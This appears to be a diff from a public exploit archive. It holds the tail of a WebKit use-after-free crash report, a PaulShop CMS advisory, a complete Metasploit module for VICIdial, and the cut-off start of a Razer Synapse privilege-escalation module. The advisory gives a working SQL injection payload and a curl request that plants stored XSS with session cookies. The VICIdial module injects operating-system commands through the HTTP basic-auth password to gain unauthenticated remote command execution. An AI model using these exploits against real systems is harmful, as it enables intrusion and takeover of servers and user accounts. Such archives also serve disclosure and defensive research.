#2 0x10ec53118 in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'(unsigned long)::operator()(unsigned long) const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12d1118)
|
||||||
|
#3 0x10ec5192f in JSC::FreeList JSC::MarkedBlock::Handle::specializedSweep<true, (JSC::MarkedBlock::Handle::EmptyMode)1, (JSC::MarkedBlock::Handle::SweepMode)1, (JSC::MarkedBlock::Handle::SweepDestructionMode)1, (JSC::MarkedBlock::Handle::ScribbleMode)0, (JSC::MarkedBlock::Handle::NewlyAllocatedMode)1, (JSC::MarkedBlock::Handle::MarksMode)1, JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::EmptyMode, JSC::MarkedBlock::Handle::SweepMode, JSC::MarkedBlock::Handle::SweepDestructionMode, JSC::MarkedBlock::Handle::ScribbleMode, JSC::MarkedBlock::Handle::NewlyAllocatedMode, JSC::MarkedBlock::Handle::MarksMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cf92f)
|
||||||
|
#4 0x10ec503d2 in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&)::'lambda'()::operator()() const (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12ce3d2)
|
||||||
|
#5 0x10ec4fbdd in JSC::FreeList JSC::MarkedBlock::Handle::finishSweepKnowingSubspace<JSC::(anonymous namespace)::DestroyFunc>(JSC::MarkedBlock::Handle::SweepMode, JSC::(anonymous namespace)::DestroyFunc const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cdbdd)
|
||||||
|
#6 0x10ec4f83c in JSC::JSDestructibleObjectSubspace::finishSweep(JSC::MarkedBlock::Handle&, JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x12cd83c)
|
||||||
|
#7 0x10ef0ee0d in JSC::MarkedBlock::Handle::sweep(JSC::MarkedBlock::Handle::SweepMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x158ce0d)
|
||||||
|
#8 0x10ef09f74 in JSC::MarkedAllocator::tryAllocateIn(JSC::MarkedBlock::Handle*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1587f74)
|
||||||
|
#9 0x10ef098c9 in JSC::MarkedAllocator::tryAllocateWithoutCollecting() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15878c9)
|
||||||
|
#10 0x10ef0a8da in JSC::MarkedAllocator::allocateSlowCaseImpl(JSC::GCDeferralContext*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x15888da)
|
||||||
|
#11 0x113b07ac9 in void* JSC::allocateCell<WebCore::JSHTMLDocument>(JSC::Heap&, unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133bac9)
|
||||||
|
#12 0x113b07724 in WebCore::JSHTMLDocument::create(JSC::Structure*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b724)
|
||||||
|
#13 0x113b0766b in std::__1::enable_if<std::is_same<WebCore::HTMLDocument, WebCore::HTMLDocument>::value, WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::HTMLDocument>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::HTMLDocument>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b66b)
|
||||||
|
#14 0x113b07439 in std::__1::enable_if<!(std::is_same<WebCore::HTMLDocument, WebCore::Document>::value), WebCore::JSDOMWrapperConverterTraits<WebCore::HTMLDocument>::WrapperClass*>::type WebCore::createWrapper<WebCore::HTMLDocument, WebCore::Document>(WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133b439)
|
||||||
|
#15 0x113b06b1d in WebCore::createNewDocumentWrapper(JSC::ExecState&, WebCore::JSDOMGlobalObject&, WTF::Ref<WebCore::Document>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ab1d)
|
||||||
|
#16 0x113b06ce8 in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Document&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x133ace8)
|
||||||
|
#17 0x1140df8fe in WebCore::createWrapper(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WTF::Ref<WebCore::Node>&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x19138fe)
|
||||||
|
#18 0x113567f6b in WebCore::toJS(JSC::ExecState*, WebCore::JSDOMGlobalObject*, WebCore::Node&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd9bf6b)
|
||||||
|
#19 0x113cf8040 in WebCore::JSDOMWindowBase::updateDocument() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x152c040)
|
||||||
|
#20 0x1150877c3 in WebCore::ScriptController::initScript(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x28bb7c3)
|
||||||
|
#21 0x107b5b476 in WebCore::ScriptController::windowShell(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3af476)
|
||||||
|
#22 0x107b58b08 in WebCore::ScriptController::globalObject(WebCore::DOMWrapperWorld&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x3acb08)
|
||||||
|
#23 0x107e6f044 in WebKit::WebFrame::jsContextForWorld(WebKit::InjectedBundleScriptWorld*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x6c3044)
|
||||||
|
#24 0x7fffe41e0ab1 in Safari::WebFeedFinderController::WebFeedFinderController(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x55cab1)
|
||||||
|
#25 0x7fffe3d3cb57 in Safari::BrowserBundlePageController::determineWebFeedInformation(Safari::WK::BundleFrame const&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xb8b57)
|
||||||
|
#26 0x7fffe3d4a12d in Safari::BrowserBundlePageLoaderClient::didFinishLoadForFrame(Safari::WK::BundlePage const&, Safari::WK::BundleFrame const&, Safari::WK::Type&) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0xc612d)
|
||||||
|
#27 0x7fffe3e235ce in Safari::WK::didFinishLoadForFrame(OpaqueWKBundlePage const*, OpaqueWKBundleFrame const*, void const**, void const*) (/System/Library/PrivateFrameworks/Safari.framework/Versions/A/Safari:x86_64+0x19f5ce)
|
||||||
|
#28 0x107962cb5 in WebKit::InjectedBundlePageLoaderClient::didFinishLoadForFrame(WebKit::WebPage*, WebKit::WebFrame*, WTF::RefPtr<API::Object>&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b6cb5)
|
||||||
|
#29 0x107e799ae in WebKit::WebFrameLoaderClient::dispatchDidFinishLoad() (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x6cd9ae)
|
||||||
|
|
||||||
|
previously allocated by thread T0 here:
|
||||||
|
#0 0x10a780d2c in __sanitizer_mz_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.1.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x56d2c)
|
||||||
|
#1 0x7fffe883a281 in malloc_zone_malloc (/usr/lib/system/libsystem_malloc.dylib:x86_64+0x2281)
|
||||||
|
#2 0x10f5d6ae4 in bmalloc::DebugHeap::malloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c54ae4)
|
||||||
|
#3 0x10f5cbc4d in bmalloc::Allocator::allocateSlowCase(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1c49c4d)
|
||||||
|
#4 0x10f561437 in bmalloc::Allocator::allocate(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bdf437)
|
||||||
|
#5 0x10f560768 in WTF::fastMalloc(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1bde768)
|
||||||
|
#6 0x112913e08 in WebCore::Node::operator new(unsigned long) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x147e08)
|
||||||
|
#7 0x11352cd43 in WebCore::HTMLLinkElement::create(WebCore::QualifiedName const&, WebCore::Document&, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd60d43)
|
||||||
|
#8 0x1134e098d in WebCore::linkConstructor(WebCore::QualifiedName const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd1498d)
|
||||||
|
#9 0x1134dd1a4 in WebCore::HTMLElementFactory::createKnownElement(WTF::AtomicString const&, WebCore::Document&, WebCore::HTMLFormElement*, bool) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd111a4)
|
||||||
|
#10 0x1134a1ac9 in WebCore::HTMLConstructionSite::createHTMLElementOrFindCustomElementInterface(WebCore::AtomicHTMLToken&, WebCore::JSCustomElementInterface**) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd5ac9)
|
||||||
|
#11 0x1134a0e17 in WebCore::HTMLConstructionSite::createHTMLElement(WebCore::AtomicHTMLToken&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd4e17)
|
||||||
|
#12 0x1134a2263 in WebCore::HTMLConstructionSite::insertSelfClosingHTMLElement(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xcd6263)
|
||||||
|
#13 0x113602ad0 in WebCore::HTMLTreeBuilder::processStartTagForInHead(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe36ad0)
|
||||||
|
#14 0x1136012b2 in WebCore::HTMLTreeBuilder::processStartTagForInBody(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe352b2)
|
||||||
|
#15 0x1135fea43 in WebCore::HTMLTreeBuilder::processStartTag(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe32a43)
|
||||||
|
#16 0x1135fc83e in WebCore::HTMLTreeBuilder::constructTree(WebCore::AtomicHTMLToken&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xe3083e)
|
||||||
|
#17 0x1134cebba in WebCore::HTMLDocumentParser::constructTreeFromHTMLToken(WebCore::HTMLTokenizer::TokenPtr&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd02bba)
|
||||||
|
#18 0x1134ce779 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd02779)
|
||||||
|
#19 0x1134cd9a6 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd019a6)
|
||||||
|
#20 0x1134ceed4 in WebCore::HTMLDocumentParser::insert(WebCore::SegmentedString&&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd02ed4)
|
||||||
|
#21 0x1134d03cb in WebCore::HTMLDocumentParser::parseDocumentFragment(WTF::String const&, WebCore::DocumentFragment&, WebCore::Element&, WebCore::ParserContentPolicy) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xd043cb)
|
||||||
|
#22 0x1147fced5 in WebCore::createFragmentForInnerOuterHTML(WebCore::Element&, WTF::String const&, WebCore::ParserContentPolicy) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2030ed5)
|
||||||
|
#23 0x1130ee983 in WebCore::Element::setInnerHTML(WTF::String const&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x922983)
|
||||||
|
#24 0x113d27314 in WebCore::setJSElementInnerHTMLFunction(JSC::ExecState&, WebCore::JSElement&, JSC::JSValue, JSC::ThrowScope&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x155b314)
|
||||||
|
#25 0x113d15f07 in bool WebCore::BindingCaller<WebCore::JSElement>::setAttribute<&(WebCore::setJSElementInnerHTMLFunction(JSC::ExecState&, WebCore::JSElement&, JSC::JSValue, JSC::ThrowScope&)), (WebCore::CastedThisErrorBehavior)0>(JSC::ExecState*, long long, long long, char const*) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x1549f07)
|
||||||
|
#26 0x10e21dbf8 in JSC::callCustomSetter(JSC::ExecState*, bool (*)(JSC::ExecState*, long long, long long), bool, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x89bbf8)
|
||||||
|
#27 0x10e21dd27 in JSC::callCustomSetter(JSC::ExecState*, JSC::JSValue, bool, JSC::JSObject*, JSC::JSValue, JSC::JSValue) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x89bd27)
|
||||||
|
#28 0x10ecf72a9 in JSC::JSObject::putInlineSlow(JSC::ExecState*, JSC::PropertyName, JSC::JSValue, JSC::PutPropertySlot&) (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x13752a9)
|
||||||
|
#29 0x10eed8fa1 in llint_slow_path_put_by_id (/Users/projectzero/webkit/webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x1556fa1)
|
||||||
|
|
||||||
|
SUMMARY: AddressSanitizer: heap-use-after-free (/Users/projectzero/webkit/webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3a51cc) in JSC::Weak<WebCore::JSDOMObject>::get() const
|
||||||
|
Shadow bytes around the buggy address:
|
||||||
|
0x1c2200010f40: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
|
||||||
|
0x1c2200010f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c2200010f60: 00 00 fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||||
|
0x1c2200010f70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c2200010f80: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
|
||||||
|
=>0x1c2200010f90: fa fa fa fa fa fa fa fa fd[fd]fd fd fd fd fd fd
|
||||||
|
0x1c2200010fa0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||||
|
0x1c2200010fb0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa fa
|
||||||
|
0x1c2200010fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||||||
|
0x1c2200010fd0: 00 00 00 00 00 00 00 00 00 00 fa fa fa fa fa fa
|
||||||
|
0x1c2200010fe0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
|
||||||
|
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||||
|
Addressable: 00
|
||||||
|
Partially addressable: 01 02 03 04 05 06 07
|
||||||
|
Heap left redzone: fa
|
||||||
|
Freed heap region: fd
|
||||||
|
Stack left redzone: f1
|
||||||
|
Stack mid redzone: f2
|
||||||
|
Stack right redzone: f3
|
||||||
|
Stack after return: f5
|
||||||
|
Stack use after scope: f8
|
||||||
|
Global redzone: f9
|
||||||
|
Global init order: f6
|
||||||
|
Poisoned by user: f7
|
||||||
|
Container overflow: fc
|
||||||
|
Array cookie: ac
|
||||||
|
Intra object redzone: bb
|
||||||
|
ASan internal: fe
|
||||||
|
Left alloca redzone: ca
|
||||||
|
Right alloca redzone: cb
|
||||||
|
==29632==ABORTING
|
||||||
|
-->
|
||||||
64
platforms/php/webapps/42359.txt
Executable file
64
platforms/php/webapps/42359.txt
Executable file
|
|
@ -0,0 +1,64 @@
|
||||||
|
# Exploit Title: PaulShop CMS - Sql Injection and stored XSS
|
||||||
|
# Date: 07/23/2017
|
||||||
|
# Exploit Author: BTIS Team (http://www.btis.vn)
|
||||||
|
# Vendor Homepage: [https://codecanyon.net/item/paulshop-cms-with-shopping-cart-system/18070714]
|
||||||
|
# Version: 03/27/2017
|
||||||
|
# Tested on: Apache/2.4.7 (Ubuntu)
|
||||||
|
# Contact: research@btis.vn
|
||||||
|
# Can not contact vendor
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1. Description
|
||||||
|
|
||||||
|
- SQL Injection on Search page with "q" parameter (GET)
|
||||||
|
|
||||||
|
- Stored XSS on member's profile page with parameters: firstname, lastname, address, city, state, zipcode, phone, fax, delivery[address], delivery[city], delivery[state], delivery[zipcode]
|
||||||
|
|
||||||
|
2. Examples
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- SQL injection:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# http://localhost/shop/en/category/tables?q=[SQL INJECTION HERE]
|
||||||
|
|
||||||
|
# Payload: - True condition: europe' and 1=1)-- -
|
||||||
|
|
||||||
|
- False condition: europe' and 1=0)-- -
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
- Stored XSS:
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
# Payload: %22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
|
||||||
|
|
||||||
|
# curl -X POST \
|
||||||
|
|
||||||
|
'http://localhost/shop/en/account?save=1' \
|
||||||
|
|
||||||
|
-H 'cookie: cookie: mysession_id=QyB45exW7W2fwIi; ci_session=ab1c04c51042f9928a87bb917b1a4759e9f81d11' \
|
||||||
|
|
||||||
|
-b 'cookie: mysession_id=QyB45exW7W2fwIi; ci_session=ab1c04c51042f9928a87bb917b1a4759e9f81d11' \
|
||||||
|
|
||||||
|
-d 'email=btis%40mailinator.com&password=123456xyz&firstname=BTIS%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&lastname=VN%22%3E%3Cscript%3Ealert%282%29%3C%2Fscript%3E&address=address%22%3E%3Cscript%3Ealert%283%29%3C%2Fscript%3E&city=city%22%3E%3Cscript%3Ealert%284%29%3C%2Fscript%3E&state=HCM%22%3E%3Cscript%3Ealert%287%29%3C%2Fscript%3E&zipcode=700000%22%3E%3Cscript%3Ealert%2812%29%3C%2Fscript%3E&country=VN&phone=%22%3E%3Cscript%3Ealert%2810%29%3C%2Fscript%3E&fax=fax%22%3E%3Cscript%3Ealert%286%29%3C%2Fscript%3E&delivery%5Baddress%5D=adr2%22%3E%3Cscript%3Ealert%285%29%3C%2Fscript%3E&delivery%5Bcity%5D=city2%22%3E%3Cscript%3Ealert%288%29%3C%2Fscript%3E&delivery%5Bstate%5D=MNB%22%3E%3Cscript%3Ealert%289%29%3C%2Fscript%3E&delivery%5Bzipcode%5D=800000%22%3E%3Cscript%3Ealert%2811%29%3C%2Fscript%3E&delivery%5Bcountry%5D=AD&save=Save'
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Quan Minh Tâm / Trưởng phòng kỹ thuật
|
||||||
|
<mailto:tamqm@btis.vn> tamqm@btis.vn / 01284 211 290
|
||||||
|
|
||||||
|
CÔNG TY CÔNG NGHỆ BẢO TÍN
|
||||||
|
028 3810 6288 – 028 38106289
|
||||||
|
5A Trần Văn Dư, phường 13, quận Tân Bình, Tp.Hồ Chí Minh
|
||||||
|
<http://www.btis.vn> www.btis.vn
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
Email này đã được quét bằng tính năng bảo vệ diệt vi-rút của BullGuard.
|
||||||
|
Để biết thêm thông tin, hãy truy cập www.bullguard.com <http://www.bullguard.com/tracking.aspx?affiliate=bullguard&buyaffiliate=smtp&url=/>
|
||||||
112
platforms/unix/remote/42370.rb
Executable file
112
platforms/unix/remote/42370.rb
Executable file
|
|
@ -0,0 +1,112 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'VICIdial user_authorization Unauthenticated Command Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a vulnerability in VICIdial versions
|
||||||
|
2.9 RC 1 to 2.13 RC1 which allows unauthenticated users
|
||||||
|
to execute arbitrary operating system commands as the web
|
||||||
|
server user if password encryption is enabled (disabled
|
||||||
|
by default).
|
||||||
|
|
||||||
|
When password encryption is enabled the user's password
|
||||||
|
supplied using HTTP basic authentication is used in a call
|
||||||
|
to exec().
|
||||||
|
|
||||||
|
This module has been tested successfully on version 2.11 RC2
|
||||||
|
and 2.13 RC1 on CentOS.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016']
|
||||||
|
],
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD,
|
||||||
|
'Payload' =>
|
||||||
|
{
|
||||||
|
# HTTP Basic authentication password
|
||||||
|
'Space' => 2048,
|
||||||
|
# apostrophe ('), quote ("), semi-colon (;) and backslash (\)
|
||||||
|
# are removed by preg_replace
|
||||||
|
'BadChars' => "\x00\x0A\x22\x27\x3B\x5C",
|
||||||
|
'DisableNops' => true,
|
||||||
|
'Compat' =>
|
||||||
|
{
|
||||||
|
'PayloadType' => 'cmd',
|
||||||
|
'RequiredCmd' => 'generic perl python netcat'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
'Targets' => [[ 'Automatic Targeting', {} ]],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DisclosureDate' => 'May 26 2017',
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
register_options([ OptString.new('TARGETURI', [true, 'The base path to VICIdial', '/vicidial/']) ])
|
||||||
|
deregister_options('USERNAME', 'PASSWORD')
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
user = rand_text_alpha(rand(10) + 5)
|
||||||
|
pass = "#{rand_text_alpha(rand(10) + 5)}&#"
|
||||||
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
|
||||||
|
'authorization' => basic_auth(user, pass)
|
||||||
|
|
||||||
|
unless res
|
||||||
|
vprint_status 'Connection failed'
|
||||||
|
return CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res.code != 401
|
||||||
|
vprint_status "#{peer} Unexpected reply. Expected authentication failure."
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check for input filtering of '#' and '&' characters in password
|
||||||
|
# Response for invalid credentials is in the form of: |<username>|<password>|BAD|
|
||||||
|
if res.body !~ /\|#{user}\|#{pass}\|BAD\|/
|
||||||
|
vprint_status "#{peer} Target is patched."
|
||||||
|
return CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
# Check for ../agc/bp.pl password encryption script
|
||||||
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, '..', 'agc', 'bp.pl')
|
||||||
|
if res && res.code == 200 && res.body =~ /Bcrypt password hashing script/
|
||||||
|
vprint_status "#{peer} Password encryption is supported, but may not be enabled."
|
||||||
|
return CheckCode::Appears
|
||||||
|
end
|
||||||
|
|
||||||
|
vprint_status "#{peer} Could not verify whether password encryption is supported."
|
||||||
|
CheckCode::Detected
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
user = rand_text_alpha(rand(10) + 5)
|
||||||
|
pass = "#{rand_text_alpha(rand(10) + 5)}& #{cmd} #"
|
||||||
|
|
||||||
|
print_status "#{peer} Sending payload (#{cmd.length} bytes)"
|
||||||
|
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'vicidial_sales_viewer.php'),
|
||||||
|
'authorization' => basic_auth(user, pass)
|
||||||
|
|
||||||
|
if !res
|
||||||
|
fail_with(Failure::Unreachable, 'Connection failed')
|
||||||
|
elsif res.code == 401 && res.body =~ /#{user}/ && res.body =~ /BAD/
|
||||||
|
print_good "#{peer} Payload sent successfully"
|
||||||
|
else
|
||||||
|
fail_with(Failure::UnexpectedReply, 'Unexpected reply')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
execute_command(payload.encoded)
|
||||||
|
end
|
||||||
|
end
|
||||||
260
platforms/win_x86-64/local/42368.rb
Executable file
260
platforms/win_x86-64/local/42368.rb
Executable file
|
|
@ -0,0 +1,260 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core/exploit/local/windows_kernel'
|
||||||
|
require 'rex'
|
||||||
|
require 'metasm'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Local::WindowsKernel
|
||||||
|
include Msf::Post::Windows::Priv
|
||||||
|
|
||||||
|
# the max size our hook can be, used before it's generated for the allocation
|
||||||
|
HOOK_STUB_MAX_LENGTH = 256
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Razer Synapse rzpnk.sys ZwOpenProcess',
|
||||||
|
'Description' => %q{
|
||||||
|
A vulnerability exists in the latest version of Razer Synapse
|
||||||
|
(v2.20.15.1104 as of the day of disclosure) which can be leveraged
|
||||||
|
locally by a malicious application to elevate its privileges to those of
|
||||||
|
NT_AUTHORITY\SYSTEM. The vulnerability lies in a specific IOCTL handler
|
||||||
|
in the rzpnk.sys driver that passes a PID specified by the user to
|
||||||
|
ZwOpenProcess. This can be issued by an application to open a handle to
|
||||||
|
